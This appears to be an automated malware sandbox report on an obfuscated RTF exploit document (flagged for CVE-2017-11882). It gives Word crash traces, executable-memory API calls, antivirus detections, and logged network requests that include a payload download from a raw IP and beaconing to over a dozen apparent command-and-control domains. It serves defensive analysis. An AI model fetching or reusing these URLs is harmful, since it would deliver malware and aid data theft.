popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

................................................................................dot

  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 April 9, 2021, 11:32 a.m. April 9, 2021, 11:34 a.m.
Size 12.6KB
Type Rich Text Format data, unknown version
MD5 40f03856876fda8b3bda880d1d5a4636
SHA256 a4358b898c41852211ee727e4b8c0d05301bf4c6a90a4780c5a6f8b1b1cf5c81
CRC32 BB723653
ssdeep 384:CrbzX8txvSYHKdnddR6DJlNmBjL0ztbQ3om:uH8bKdlkJlNmBjatO
Yara
  • Rich_Text_Format_Zero - Rich Text Format Signature Zero

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x74d5374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x74bff725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x74d6414b
WdtpInterfacePointer_UserUnmarshal+0x166b DllDebugObjectRPCHook-0x2d8d ole32+0x13c8e2 @ 0x74bfc8e2
CoRegisterMessageFilter+0x32b4 ObjectStublessClient5-0x1db5 ole32+0x398ad @ 0x74af98ad
OleCreateEmbeddingHelper+0x2a1 CreateFileMoniker-0x17de ole32+0x81414 @ 0x74b41414
ObjectStublessClient31+0x6af8 STGMEDIUM_UserUnmarshal-0x22bb6 ole32+0x97b68 @ 0x74b57b68
wdGetApplicationObject+0x131f9 wdCommandDispatch-0x4c476 wwlib+0x394dff @ 0x64e54dff
DllCanUnloadNow+0xbaf5e wwlib+0x9692a0 @ 0x654292a0
DllCanUnloadNow+0x339ef0 wwlib+0xbe8232 @ 0x656a8232
DllCanUnloadNow+0x54e0c9 wwlib+0xdfc40b @ 0x658bc40b
DllCanUnloadNow+0x55865b wwlib+0xe0699d @ 0x658c699d
DllCanUnloadNow+0x33bec4 wwlib+0xbea206 @ 0x656aa206
DllCanUnloadNow+0xbd684 wwlib+0x96b9c6 @ 0x6542b9c6
DllCanUnloadNow+0x215f8 wwlib+0x8cf93a @ 0x6538f93a
DllGetClassObject+0x2d9ac DllGetLCID-0x22ded4 wwlib+0x325f6 @ 0x64af25f6
DllGetClassObject+0x5b213 DllGetLCID-0x20066d wwlib+0x5fe5d @ 0x64b1fe5d
DllGetClassObject+0x5a904 DllGetLCID-0x200f7c wwlib+0x5f54e @ 0x64b1f54e
DllCanUnloadNow+0x3200d6 wwlib+0xbce418 @ 0x6568e418
DllCanUnloadNow+0x2d334c wwlib+0xb8168e @ 0x6564168e
DllGetClassObject+0x157e7 DllGetLCID-0x246099 wwlib+0x1a431 @ 0x64ada431
DllGetClassObject+0x3b23 DllGetLCID-0x257d5d wwlib+0x876d @ 0x64ac876d
FMain+0x482 DllGetClassObject-0x266 wwlib+0x49e4 @ 0x64ac49e4
wdCommandDispatch-0x2ed winword+0x15d7 @ 0x2fa415d7
wdCommandDispatch-0x367 winword+0x155d @ 0x2fa4155d
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x800706be
exception.offset: 46887
exception.address: 0x76a7b727
registers.esp: 1789264
registers.edi: 1957755408
registers.eax: 1789264
registers.ebp: 1789344
registers.edx: 0
registers.ebx: 5114876
registers.esi: 2147944126
registers.ecx: 2356806200
1 0 0

__exception__

 stacktrace: 
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x74d5374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x74bff725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x74d6414b
WdtpInterfacePointer_UserUnmarshal+0x166b DllDebugObjectRPCHook-0x2d8d ole32+0x13c8e2 @ 0x74bfc8e2
CoRegisterMessageFilter+0x32b4 ObjectStublessClient5-0x1db5 ole32+0x398ad @ 0x74af98ad
CoRegisterMessageFilter+0x5048 ObjectStublessClient5-0x21 ole32+0x3b641 @ 0x74afb641
CoRegisterMessageFilter+0x4ff4 ObjectStublessClient5-0x75 ole32+0x3b5ed @ 0x74afb5ed
CoRegisterMessageFilter+0x4b79 ObjectStublessClient5-0x4f0 ole32+0x3b172 @ 0x74afb172
CoRegisterMessageFilter+0x4075 ObjectStublessClient5-0xff4 ole32+0x3a66e @ 0x74afa66e
ObjectStublessClient31+0x2961c STGMEDIUM_UserUnmarshal-0x92 ole32+0xba68c @ 0x74b7a68c
ObjectStublessClient31+0x6776 STGMEDIUM_UserUnmarshal-0x22f38 ole32+0x977e6 @ 0x74b577e6
OleCreateEmbeddingHelper+0x344 CreateFileMoniker-0x173b ole32+0x814b7 @ 0x74b414b7
ObjectStublessClient31+0x6af8 STGMEDIUM_UserUnmarshal-0x22bb6 ole32+0x97b68 @ 0x74b57b68
wdGetApplicationObject+0x131f9 wdCommandDispatch-0x4c476 wwlib+0x394dff @ 0x64e54dff
DllCanUnloadNow+0xbaf5e wwlib+0x9692a0 @ 0x654292a0
DllCanUnloadNow+0x339ef0 wwlib+0xbe8232 @ 0x656a8232
DllCanUnloadNow+0x54e0c9 wwlib+0xdfc40b @ 0x658bc40b
DllCanUnloadNow+0x55865b wwlib+0xe0699d @ 0x658c699d
DllCanUnloadNow+0x33bec4 wwlib+0xbea206 @ 0x656aa206
DllCanUnloadNow+0xbd684 wwlib+0x96b9c6 @ 0x6542b9c6
DllCanUnloadNow+0x215f8 wwlib+0x8cf93a @ 0x6538f93a
DllGetClassObject+0x2d9ac DllGetLCID-0x22ded4 wwlib+0x325f6 @ 0x64af25f6
DllGetClassObject+0x5b213 DllGetLCID-0x20066d wwlib+0x5fe5d @ 0x64b1fe5d
DllGetClassObject+0x5a904 DllGetLCID-0x200f7c wwlib+0x5f54e @ 0x64b1f54e
DllCanUnloadNow+0x3200d6 wwlib+0xbce418 @ 0x6568e418
DllCanUnloadNow+0x2d334c wwlib+0xb8168e @ 0x6564168e
DllGetClassObject+0x157e7 DllGetLCID-0x246099 wwlib+0x1a431 @ 0x64ada431
DllGetClassObject+0x3b23 DllGetLCID-0x257d5d wwlib+0x876d @ 0x64ac876d
FMain+0x482 DllGetClassObject-0x266 wwlib+0x49e4 @ 0x64ac49e4
wdCommandDispatch-0x2ed winword+0x15d7 @ 0x2fa415d7
wdCommandDispatch-0x367 winword+0x155d @ 0x2fa4155d
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x800706ba
exception.offset: 46887
exception.address: 0x76a7b727
registers.esp: 1788956
registers.edi: 1957755408
registers.eax: 1788956
registers.ebp: 1789036
registers.edx: 0
registers.ebx: 5114372
registers.esi: 2147944122
registers.ecx: 2356806200
1 0 0
suspicious_features Connection to IP address suspicious_request GET http://23.95.122.24/zyo/vbc.exe
suspicious_features GET method with no useragent header suspicious_request GET http://www.thechilldrengang.com/nnmd/?Ajn=Qm+zDj4f4RLuzqptG8COn+B+brI1CpB9wHw121EclcSQGwPEjyrk1ZHI0LfP5GMpxTTOLxvE&ndndsZ=KdvDNnE0J8D8
suspicious_features GET method with no useragent header suspicious_request GET http://www.dream-e-mail.com/nnmd/?Ajn=GDNzUjFbUW1WpVH7wCb7N3BoG8g8NpYy+xvVu1J5yu1tN7UOoDiMgA12mZMJcf0xYUEJW7jx&ndndsZ=KdvDNnE0J8D8
suspicious_features GET method with no useragent header suspicious_request GET http://www.topmejoresproductos.com/nnmd/?Ajn=5oGfYuXOY9e6Wgzyw65MR7pWmotIxUI2yZPS8hwMrcBGefCHV1tZ9t+5FZg010TA0GKtEOYf&ndndsZ=KdvDNnE0J8D8
suspicious_features GET method with no useragent header suspicious_request GET http://www.winnijermaynezigmund.site/nnmd/?Ajn=N2I1yTk+m5kpahBRa8KKuG/S0eEJEgSw239Z/a58dxU5l2G0s9OUHiRItD8O8JZ1353ED8ed&ndndsZ=KdvDNnE0J8D8
suspicious_features GET method with no useragent header suspicious_request GET http://www.blackmantech.fitness/nnmd/?Ajn=lO2MoVQRnuQliAFYE73xMyvXdf5GkN1z0aKfIeNynRlJRWydjj13mXpuZu0yLgH94KMPbX89&ndndsZ=KdvDNnE0J8D8
suspicious_features GET method with no useragent header suspicious_request GET http://www.raison-sociale.com/nnmd/?Ajn=P1LpRENdnqb1fbOGyNga4nCXTVuCGTreTbOaFjWN+nixYx/3vSvBuhMK5uJ9XJmSyj6SVpMN&ndndsZ=KdvDNnE0J8D8
suspicious_features GET method with no useragent header suspicious_request GET http://www.regalparkllc.com/nnmd/?Ajn=tTl8v8g2q+7FzdYz1UQNVvYPTgelaUE7gW7tW0qfdn51WjA1prpQnhugYZXHkQH8F1WTaXCY&ndndsZ=KdvDNnE0J8D8
suspicious_features GET method with no useragent header suspicious_request GET http://www.syduit.com/nnmd/?Ajn=btHTA+j+pbtfXH5E0zmzPQOf49f/oMdnjHUIX6frz8d7so2A3ybxPAuEpf9zLJV/bTrkMS/E&ndndsZ=KdvDNnE0J8D8
suspicious_features GET method with no useragent header suspicious_request GET http://www.partapprintercare.com/nnmd/?Ajn=3phtZ1zyTDnz2WU83f8ON1haRiqj6XFttO8huOGvsDIOA2gUzVx9KnrUfWHFG6Oh1DS0eFgG&ndndsZ=KdvDNnE0J8D8
suspicious_features GET method with no useragent header suspicious_request GET http://www.elpis-catering.com/nnmd/?Ajn=0Ts1VGxpsMxFhohnYcmQwyVTyV70cpoMLj6MACjr+zVW8ucMOFGWLmSRW6U63/nNCvV4KGuc&ndndsZ=KdvDNnE0J8D8
suspicious_features GET method with no useragent header suspicious_request GET http://www.vegrebel.com/nnmd/?Ajn=iedGY0/jFY2caMs7ufAPjCijJp09b4Pnd9J45dLvz29YUuAPrQ24EB7QdiStDbxe7UevWaqL&ndndsZ=KdvDNnE0J8D8
suspicious_features GET method with no useragent header suspicious_request GET http://www.ueoxx.com/nnmd/?Ajn=tRQiX2tnIcR1+0C/rREkw+oZ8fYp7zrYt8/OoSFyZqkjizznZx3g6RXGoToit+qONbwCpa2o&ndndsZ=KdvDNnE0J8D8
suspicious_features GET method with no useragent header suspicious_request GET http://www.scott-re.online/nnmd/?Ajn=YoDjfv9GFAPxmC/m/YrXEnPJINgN/ZGcUJt6czxWwkNRV1BAm2Kb0tXyCx+SX/c+MMPjJ8db&ndndsZ=KdvDNnE0J8D8
request GET http://23.95.122.24/zyo/vbc.exe
request POST http://www.thechilldrengang.com/nnmd/
request GET http://www.thechilldrengang.com/nnmd/?Ajn=Qm+zDj4f4RLuzqptG8COn+B+brI1CpB9wHw121EclcSQGwPEjyrk1ZHI0LfP5GMpxTTOLxvE&ndndsZ=KdvDNnE0J8D8
request POST http://www.dream-e-mail.com/nnmd/
request GET http://www.dream-e-mail.com/nnmd/?Ajn=GDNzUjFbUW1WpVH7wCb7N3BoG8g8NpYy+xvVu1J5yu1tN7UOoDiMgA12mZMJcf0xYUEJW7jx&ndndsZ=KdvDNnE0J8D8
request POST http://www.topmejoresproductos.com/nnmd/
request GET http://www.topmejoresproductos.com/nnmd/?Ajn=5oGfYuXOY9e6Wgzyw65MR7pWmotIxUI2yZPS8hwMrcBGefCHV1tZ9t+5FZg010TA0GKtEOYf&ndndsZ=KdvDNnE0J8D8
request POST http://www.winnijermaynezigmund.site/nnmd/
request GET http://www.winnijermaynezigmund.site/nnmd/?Ajn=N2I1yTk+m5kpahBRa8KKuG/S0eEJEgSw239Z/a58dxU5l2G0s9OUHiRItD8O8JZ1353ED8ed&ndndsZ=KdvDNnE0J8D8
request POST http://www.blackmantech.fitness/nnmd/
request GET http://www.blackmantech.fitness/nnmd/?Ajn=lO2MoVQRnuQliAFYE73xMyvXdf5GkN1z0aKfIeNynRlJRWydjj13mXpuZu0yLgH94KMPbX89&ndndsZ=KdvDNnE0J8D8
request POST http://www.raison-sociale.com/nnmd/
request GET http://www.raison-sociale.com/nnmd/?Ajn=P1LpRENdnqb1fbOGyNga4nCXTVuCGTreTbOaFjWN+nixYx/3vSvBuhMK5uJ9XJmSyj6SVpMN&ndndsZ=KdvDNnE0J8D8
request POST http://www.regalparkllc.com/nnmd/
request GET http://www.regalparkllc.com/nnmd/?Ajn=tTl8v8g2q+7FzdYz1UQNVvYPTgelaUE7gW7tW0qfdn51WjA1prpQnhugYZXHkQH8F1WTaXCY&ndndsZ=KdvDNnE0J8D8
request POST http://www.syduit.com/nnmd/
request GET http://www.syduit.com/nnmd/?Ajn=btHTA+j+pbtfXH5E0zmzPQOf49f/oMdnjHUIX6frz8d7so2A3ybxPAuEpf9zLJV/bTrkMS/E&ndndsZ=KdvDNnE0J8D8
request POST http://www.partapprintercare.com/nnmd/
request GET http://www.partapprintercare.com/nnmd/?Ajn=3phtZ1zyTDnz2WU83f8ON1haRiqj6XFttO8huOGvsDIOA2gUzVx9KnrUfWHFG6Oh1DS0eFgG&ndndsZ=KdvDNnE0J8D8
request POST http://www.elpis-catering.com/nnmd/
request GET http://www.elpis-catering.com/nnmd/?Ajn=0Ts1VGxpsMxFhohnYcmQwyVTyV70cpoMLj6MACjr+zVW8ucMOFGWLmSRW6U63/nNCvV4KGuc&ndndsZ=KdvDNnE0J8D8
request POST http://www.vegrebel.com/nnmd/
request GET http://www.vegrebel.com/nnmd/?Ajn=iedGY0/jFY2caMs7ufAPjCijJp09b4Pnd9J45dLvz29YUuAPrQ24EB7QdiStDbxe7UevWaqL&ndndsZ=KdvDNnE0J8D8
request POST http://www.ueoxx.com/nnmd/
request GET http://www.ueoxx.com/nnmd/?Ajn=tRQiX2tnIcR1+0C/rREkw+oZ8fYp7zrYt8/OoSFyZqkjizznZx3g6RXGoToit+qONbwCpa2o&ndndsZ=KdvDNnE0J8D8
request POST http://www.scott-re.online/nnmd/
request GET http://www.scott-re.online/nnmd/?Ajn=YoDjfv9GFAPxmC/m/YrXEnPJINgN/ZGcUJt6czxWwkNRV1BAm2Kb0tXyCx+SX/c+MMPjJ8db&ndndsZ=KdvDNnE0J8D8
request POST http://www.thechilldrengang.com/nnmd/
request POST http://www.dream-e-mail.com/nnmd/
request POST http://www.topmejoresproductos.com/nnmd/
request POST http://www.winnijermaynezigmund.site/nnmd/
request POST http://www.blackmantech.fitness/nnmd/
request POST http://www.raison-sociale.com/nnmd/
request POST http://www.regalparkllc.com/nnmd/
request POST http://www.syduit.com/nnmd/
request POST http://www.partapprintercare.com/nnmd/
request POST http://www.elpis-catering.com/nnmd/
request POST http://www.vegrebel.com/nnmd/
request POST http://www.ueoxx.com/nnmd/
request POST http://www.scott-re.online/nnmd/
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 3324
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05df1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3324
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x743c1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3324
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05950000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3324
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05950000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3324
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05960000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 3324
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05970000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3324
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x70731000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3324
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x70734000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3324
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x507c1000
process_handle: 0xffffffff
1 0 0
Application Crash Process WINWORD.EXE with pid 3324 crashed
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x74d5374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x74bff725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x74d6414b
WdtpInterfacePointer_UserUnmarshal+0x166b DllDebugObjectRPCHook-0x2d8d ole32+0x13c8e2 @ 0x74bfc8e2
CoRegisterMessageFilter+0x32b4 ObjectStublessClient5-0x1db5 ole32+0x398ad @ 0x74af98ad
OleCreateEmbeddingHelper+0x2a1 CreateFileMoniker-0x17de ole32+0x81414 @ 0x74b41414
ObjectStublessClient31+0x6af8 STGMEDIUM_UserUnmarshal-0x22bb6 ole32+0x97b68 @ 0x74b57b68
wdGetApplicationObject+0x131f9 wdCommandDispatch-0x4c476 wwlib+0x394dff @ 0x64e54dff
DllCanUnloadNow+0xbaf5e wwlib+0x9692a0 @ 0x654292a0
DllCanUnloadNow+0x339ef0 wwlib+0xbe8232 @ 0x656a8232
DllCanUnloadNow+0x54e0c9 wwlib+0xdfc40b @ 0x658bc40b
DllCanUnloadNow+0x55865b wwlib+0xe0699d @ 0x658c699d
DllCanUnloadNow+0x33bec4 wwlib+0xbea206 @ 0x656aa206
DllCanUnloadNow+0xbd684 wwlib+0x96b9c6 @ 0x6542b9c6
DllCanUnloadNow+0x215f8 wwlib+0x8cf93a @ 0x6538f93a
DllGetClassObject+0x2d9ac DllGetLCID-0x22ded4 wwlib+0x325f6 @ 0x64af25f6
DllGetClassObject+0x5b213 DllGetLCID-0x20066d wwlib+0x5fe5d @ 0x64b1fe5d
DllGetClassObject+0x5a904 DllGetLCID-0x200f7c wwlib+0x5f54e @ 0x64b1f54e
DllCanUnloadNow+0x3200d6 wwlib+0xbce418 @ 0x6568e418
DllCanUnloadNow+0x2d334c wwlib+0xb8168e @ 0x6564168e
DllGetClassObject+0x157e7 DllGetLCID-0x246099 wwlib+0x1a431 @ 0x64ada431
DllGetClassObject+0x3b23 DllGetLCID-0x257d5d wwlib+0x876d @ 0x64ac876d
FMain+0x482 DllGetClassObject-0x266 wwlib+0x49e4 @ 0x64ac49e4
wdCommandDispatch-0x2ed winword+0x15d7 @ 0x2fa415d7
wdCommandDispatch-0x367 winword+0x155d @ 0x2fa4155d
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x800706be
exception.offset: 46887
exception.address: 0x76a7b727
registers.esp: 1789264
registers.edi: 1957755408
registers.eax: 1789264
registers.ebp: 1789344
registers.edx: 0
registers.ebx: 5114876
registers.esi: 2147944126
registers.ecx: 2356806200
1 0 0

__exception__

 stacktrace: 
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x74d5374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x74bff725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x74d6414b
WdtpInterfacePointer_UserUnmarshal+0x166b DllDebugObjectRPCHook-0x2d8d ole32+0x13c8e2 @ 0x74bfc8e2
CoRegisterMessageFilter+0x32b4 ObjectStublessClient5-0x1db5 ole32+0x398ad @ 0x74af98ad
CoRegisterMessageFilter+0x5048 ObjectStublessClient5-0x21 ole32+0x3b641 @ 0x74afb641
CoRegisterMessageFilter+0x4ff4 ObjectStublessClient5-0x75 ole32+0x3b5ed @ 0x74afb5ed
CoRegisterMessageFilter+0x4b79 ObjectStublessClient5-0x4f0 ole32+0x3b172 @ 0x74afb172
CoRegisterMessageFilter+0x4075 ObjectStublessClient5-0xff4 ole32+0x3a66e @ 0x74afa66e
ObjectStublessClient31+0x2961c STGMEDIUM_UserUnmarshal-0x92 ole32+0xba68c @ 0x74b7a68c
ObjectStublessClient31+0x6776 STGMEDIUM_UserUnmarshal-0x22f38 ole32+0x977e6 @ 0x74b577e6
OleCreateEmbeddingHelper+0x344 CreateFileMoniker-0x173b ole32+0x814b7 @ 0x74b414b7
ObjectStublessClient31+0x6af8 STGMEDIUM_UserUnmarshal-0x22bb6 ole32+0x97b68 @ 0x74b57b68
wdGetApplicationObject+0x131f9 wdCommandDispatch-0x4c476 wwlib+0x394dff @ 0x64e54dff
DllCanUnloadNow+0xbaf5e wwlib+0x9692a0 @ 0x654292a0
DllCanUnloadNow+0x339ef0 wwlib+0xbe8232 @ 0x656a8232
DllCanUnloadNow+0x54e0c9 wwlib+0xdfc40b @ 0x658bc40b
DllCanUnloadNow+0x55865b wwlib+0xe0699d @ 0x658c699d
DllCanUnloadNow+0x33bec4 wwlib+0xbea206 @ 0x656aa206
DllCanUnloadNow+0xbd684 wwlib+0x96b9c6 @ 0x6542b9c6
DllCanUnloadNow+0x215f8 wwlib+0x8cf93a @ 0x6538f93a
DllGetClassObject+0x2d9ac DllGetLCID-0x22ded4 wwlib+0x325f6 @ 0x64af25f6
DllGetClassObject+0x5b213 DllGetLCID-0x20066d wwlib+0x5fe5d @ 0x64b1fe5d
DllGetClassObject+0x5a904 DllGetLCID-0x200f7c wwlib+0x5f54e @ 0x64b1f54e
DllCanUnloadNow+0x3200d6 wwlib+0xbce418 @ 0x6568e418
DllCanUnloadNow+0x2d334c wwlib+0xb8168e @ 0x6564168e
DllGetClassObject+0x157e7 DllGetLCID-0x246099 wwlib+0x1a431 @ 0x64ada431
DllGetClassObject+0x3b23 DllGetLCID-0x257d5d wwlib+0x876d @ 0x64ac876d
FMain+0x482 DllGetClassObject-0x266 wwlib+0x49e4 @ 0x64ac49e4
wdCommandDispatch-0x2ed winword+0x15d7 @ 0x2fa415d7
wdCommandDispatch-0x367 winword+0x155d @ 0x2fa4155d
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x800706ba
exception.offset: 46887
exception.address: 0x76a7b727
registers.esp: 1788956
registers.edi: 1957755408
registers.eax: 1788956
registers.ebp: 1789036
registers.edx: 0
registers.ebx: 5114372
registers.esi: 2147944122
registers.ecx: 2356806200
1 0 0
Time & API Arguments Status Return Repeated

NtCreateFile

 create_disposition: 5 (FILE_OVERWRITE_IF)
file_handle: 0x000003e0
filepath: C:\Users\test22\AppData\Local\Temp\~$..............................................................................dot
desired_access: 0x40100080 (FILE_READ_ATTRIBUTES|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN)
filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$..............................................................................dot
create_options: 4194400 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT)
status_info: 2 (FILE_CREATED)
share_access: 0 ()
1 0 0
filetype_details Rich Text Format data, unknown version filename ................................................................................dot
host 172.217.25.14
host 23.95.122.24
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!40F03856876F
Sangfor Exploit.Generic-Script.Save.e1f6df4c
Arcabit Exploit.RTF-ObfsObjDat.Gen
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
Cynet Malicious (score: 70)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
Ad-Aware Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
TrendMicro HEUR_RTFMALFORM
Avira HEUR/Rtf.Malformed
MAX malware (ai score=83)
GData Exploit.RTF-ObfsObjDat.Gen
AhnLab-V3 RTF/Malform-A.Gen
ALYac Exploit.RTF-ObfsObjDat.Gen
TACHYON Trojan-Exploit/RTF.CVE-2017-11882
Zoner Probably Heur.RTFBadVersion
Ikarus Exploit.CVE-2017-11882
Fortinet RTF/CVE_2017_11882.C!exploit
Qihoo-360 susp.rtf.objupdate.c